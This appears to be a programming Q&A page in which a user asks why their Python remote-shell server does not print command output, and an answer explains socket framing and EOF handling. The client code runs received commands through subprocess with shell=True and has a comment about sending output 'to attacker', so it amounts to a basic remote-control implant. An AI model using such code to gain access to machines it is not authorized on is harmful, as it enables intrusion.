Jonah Fleming
Jonah Fleming

Reputation: 1185

Trying to create a remote shell, program does not print command output as desired

I'm trying to create a remote shell in python and have got the server to send a command to the client and to have it executed on the remote machine. What is going wrong is that although the client is sending back the output (from my understanding) the server is not receiving and printing it properly. It was working up until I changed my code to receive all data, not just one chunk. How do I receive all the data and print it correctly?

Server code:

while True:
    try:
        command = input(client_ip+ ">")
        if(len(command.split()) != 0):
            client_socket.send(command.encode('utf-8'))
        else:
            continue
    except(EOFError):
            print("Invalid input, type 'help' to get a list of implemented commands.\n")
            continue

    if(command == "quit"):
        break
    total_data = []
    while True:
        data = client_socket.recv(8192)
        if not data: break
        total_data.append(data)
    print(total_data + '\n')
    # try:
    #     output = ''
    #     data = ''
    #     while True:
    #         data += client_socket.recv(1024).decode('utf-8')
    #         if not data:
    #             break
    #         else:
    #             output += data
    # except Exception:
    #     if output:
    #         pass
    #     else:
    #         print("failed")
    # print(data + "\n")

Client code:

while True:

    command = connexion_socket.recv(1024).decode('utf-8')
    split_command = command.split()
    print("Received command : " +command)

    # if its quit, then break out and close socket
    if command == "quit":
        break

    if(command.split()[0] == "cd"):
            if len(command.split()) == 1:
                connexion_socket.send((os.getcwd().encode('utf-8')))
            elif len(command.split()) == 2:
                try:
                    os.chdir(command.split()[1])
                    connexion_socket.send(("Changed directory to " + os.getcwd()).encode('utf-8'))
                except(WindowsError):
                    connexion_socket.send(str.encode("No such directory : " +os.getcwd()))

    else:
        # do shell command
        proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # read output
        stdout_value = (proc.stdout.read() + proc.stderr.read()).decode('utf-8')
        print(stdout_value + "\n")
        # send output to attacker
        if(stdout_value != ""):
            connexion_socket.send(stdout_value.encode('utf-8'))
        else:
            connexion_socket.send((command+ " does not return anything").encode('utf-8'))

If any more info is needed please just ask :)

Upvotes: 0

Views: 112

Answers (1)

Ondrej K.
Ondrej K.

Reputation: 9679

It appears you are using stream sockets. In that case the problem is you cannot test for EOF (zero length data being read) to break out of your receiving loop if the connection is not being closed (by client.py). Your server.py reads the input, but then goes back to receive more from the socket and just waits for more data (which is not coming).

In client.py you can start your loop by accepting a new connection and end by closing it (note: the socket returned by accept is to be closed, not the listening one whose accept method was called). In server.py you can start and end your loop by setting up and close the connection (resp.) to your counterpart. In that case if not data: break can be used just fine.

The other option is. You can handle this on protocol/application level. You either start your transmission by sending length of data to follow (and receive until you have this now known amount of data) or pick a message delimiter (e.g. b'\0') which you also send after each complete block of output. You can then receive data one by one until you reach the next delimiter. In this case you can keep your existing connection alive and reuse it for forth and back communications. I.e. in your receiving loop you check for: if data == b'\0': break and you send conn.send(b'\0') after each message in your client.py loop.

Unrelated side note: WindowsError should be a subclass of OSError which is the one your probably really want to catch to make your code portable.

Upvotes: 1

Related Questions